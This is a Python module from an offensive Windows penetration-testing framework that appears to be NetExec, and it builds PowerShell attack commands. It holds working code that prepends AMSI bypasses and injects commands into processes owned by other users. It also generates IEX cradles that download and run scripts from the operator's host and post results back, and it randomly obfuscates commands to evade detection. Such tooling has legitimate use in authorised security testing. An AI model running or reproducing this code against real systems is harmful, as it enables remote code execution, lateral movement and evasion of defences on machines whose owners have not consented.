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import os
import re
from sys import exit
from string import ascii_lowercase
from random import choice, sample
from subprocess import call
from nxc.helpers.misc import which
from nxc.logger import nxc_logger
from nxc.paths import NXC_PATH, DATA_PATH
from base64 import b64encode
import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
Parameters
----------
path (str): The relative path to the PowerShell script.
Returns
-------
str: The full path to the PowerShell script.
"""
return os.path.join(DATA_PATH, path)
def encode_ps_command(command):
"""
Encodes a PowerShell command into a base64-encoded string.
Args:
----
command (str): The PowerShell command to encode.
Returns:
-------
str: The base64-encoded string representation of the encoded command.
"""
return b64encode(command.encode("UTF-16LE")).decode()
def obfs_ps_script(path_to_script):
"""
Obfuscates a PowerShell script.
Args:
----
path_to_script (str): The path to the PowerShell script.
Returns:
-------
str: The obfuscated PowerShell script.
Raises:
------
FileNotFoundError: If the script file does not exist.
OSError: If there is an error during obfuscation.
"""
ps_script = path_to_script.split("/")[-1]
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if bool(which("powershell")) and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script) as script:
return script.read()
nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'"
nxc_logger.debug(invoke_obfs_command)
with open(os.devnull, "w") as devnull:
call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
nxc_logger.success("Script obfuscated successfully")
with open(obfs_ps_script) as script:
return script.read()
else:
with open(get_ps_script(path_to_script)) as script:
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
"""
# strip block comments
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = ""
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
obfs_attempts = 0
while True:
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
"""
Generates a PowerShell code block for injecting a command into a specified process.
Args:
----
command (str): The command to be injected.
context (str, optional): The context in which the code block will be injected. Defaults to None.
procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe".
inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False.
Returns:
-------
str: The generated PowerShell code block.
"""
# The following code gives us some control over where and how Invoke-PSInject does its thang
# It prioritizes injecting into a process of the active console session
ps_code = """
$injected = $False
$inject_once = {inject_once}
$command = "{command}"
$owners = @{{}}
$console_login = gwmi win32_computersystem | select -exp Username
gwmi win32_process | where {{$_.Name.ToLower() -eq '{procname}'.ToLower()}} | % {{
if ($_.getowner().domain -and $_.getowner().user){{
$owners[$_.getowner().domain + "\\" + $_.getowner().user] = $_.handle
}}
}}
try {{
if ($owners.ContainsKey($console_login)){{
Invoke-PSInject -ProcId $owners.Get_Item($console_login) -PoshCode $command
$injected = $True
$owners.Remove($console_login)
}}
}}
catch {{}}
if (($injected -eq $False) -or ($inject_once -eq $False)){{
foreach ($owner in $owners.Values) {{
try {{
Invoke-PSInject -ProcId $owner -PoshCode $command
}}
catch {{}}
}}
}}
""".format(
inject_once="$True" if inject_once else "$False",
command=encode_ps_command(command),
procname=procname,
)
if context:
return gen_ps_iex_cradle(context, "Invoke-PSInject.ps1", ps_code, post_back=False)
return ps_code
def gen_ps_iex_cradle(context, scripts, command="", post_back=True):
"""
Generates a PowerShell IEX cradle script for executing one or more scripts.
Args:
----
context (Context): The context object containing server and port information.
scripts (str or list): The script(s) to be executed.
command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string.
post_back (bool, optional): Whether to send a POST request with the command. Defaults to True.
Returns:
-------
str: The generated PowerShell IEX cradle script.
"""
if isinstance(scripts, str):
launcher = """
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}')
{command}
""".format(
server=context.server,
port=context.server_port,
addr=context.localip,
ps_script_name=scripts,
command=command if post_back is False else "",
).strip()
elif isinstance(scripts, list):
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
for script in scripts:
launcher += f"IEX (New-Object Net.WebClient).DownloadString('{context.server}://{context.localip}:{context.server_port}/{script}')\n"
launcher.strip()
launcher += command if post_back is False else ""
if post_back is True:
launcher += f"""
$cmd = {command}
$request = [System.Net.WebRequest]::Create('{context.server}://{context.localip}:{context.server_port}/')
$request.Method = 'POST'
$request.ContentType = 'application/x-www-form-urlencoded'
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
$request.ContentLength = $bytes.Length
$requestStream = $request.GetRequestStream()
$requestStream.Write($bytes, 0, $bytes.Length)
$requestStream.Close()
$request.GetResponse()"""
nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
return launcher.strip()
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
def invoke_obfuscation(script_string):
"""
Obfuscates a script string and generates an obfuscated payload for execution.
Args:
----
script_string (str): The script string to obfuscate.
Returns:
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
# Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters.
delimited_encoded_array = ""
for char in script_string:
delimited_encoded_array += str(ord(char)) + choice(random_delimiters)
# Remove trailing delimiter from $DelimitedEncodedArray.
delimited_encoded_array = delimited_encoded_array[:-1]
# Create printable version of $RandomDelimiters in random order to be used by final command.
test = sample(random_delimiters, len(random_delimiters))
random_delimiters_to_print = "".join(i for i in test)
# Generate random case versions for necessary operations.
for_each_object = choice(["ForEach", "ForEach-Object", "%"])
str_join = "".join(choice([i.upper(), i.lower()]) for i in "[String]::Join")
str_str = "".join(choice([i.upper(), i.lower()]) for i in "[String]")
join = "".join(choice([i.upper(), i.lower()]) for i in "-Join")
char_str = "".join(choice([i.upper(), i.lower()]) for i in "Char")
integer = "".join(choice([i.upper(), i.lower()]) for i in "Int")
for_each_object = "".join(choice([i.upper(), i.lower()]) for i in for_each_object)
# Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax
random_delimiters_to_print_for_dash_split = ""
for delim in random_delimiters:
# Random case 'split' string.
split = "".join(choice([i.upper(), i.lower()]) for i in "Split")
random_delimiters_to_print_for_dash_split += "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "])
random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip("\t\n\r")
# Randomly select between various conversion syntax options.
random_conversion_syntax = [
"[" + char_str + "]" + choice(["", " "]) + "[" + integer + "]" + choice(["", " "]) + "$_",
"[" + integer + "]" + choice(["", " "]) + "$_" + choice(["", " "]) + choice(["-as", "-As", "-aS", "-AS"]) + choice(["", " "]) + "[" + char_str + "]",
]
random_conversion_syntax = choice(random_conversion_syntax)
# Create array syntax for encoded scriptString as alternative to .Split/-Split syntax.
encoded_array = ""
for char in script_string:
encoded_array += str(ord(char)) + choice(["", " "]) + "," + choice(["", " "])
# Remove trailing comma from encoded_array
encoded_array = "(" + choice(["", " "]) + encoded_array.rstrip().rstrip(",") + ")"
# Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
# Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
# If the OFS variable did exist then we could use even more syntax:
# $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls
# For more info:
# https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
set_ofs_var_syntax = [
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "''",
choice(["Set-Variable", "SV", "SET"]) + choice([" " * 1, " " * 2]) + "'OFS'" + choice([" " * 1, " " * 2]) + "''",
]
set_ofs_var = choice(set_ofs_var_syntax)
set_ofs_var_back_syntax = [
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
]
set_ofs_var_back = choice(set_ofs_var_back_syntax)
# Randomize case of $SetOfsVar and $SetOfsVarBack.
set_ofs_var = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var)
set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
# Generate the code that will decrypt and execute the payload and randomly select one.
base_script_array = [
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + encoded_array + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
]
# Generate random JOIN syntax for all above options
new_script_array = [
choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(base_script_array),
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")",
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
]
# Randomly select one of the above commands.
new_script = choice(new_script_array)
# Generate random invoke operation syntax
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
# It is copied into this encoding function so that this will remain a standalone script without dependencies
invoke_expression_syntax = [choice(["IEX", "Invoke-Expression"])]
# Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
# Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator,
# but not a silver bullet
# These methods draw on common environment variable values and PowerShell Automatic Variable
# values/methods/members/properties/etc.
invocation_operator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.extend((invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')", invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')", invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')", invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')", invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')", invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')"))
# Randomly choose from above invoke operation syntaxes.
invoke_expression = choice(invoke_expression_syntax)
# Randomize the case of selected invoke operation.
invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression)
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
invoke_options = [
choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script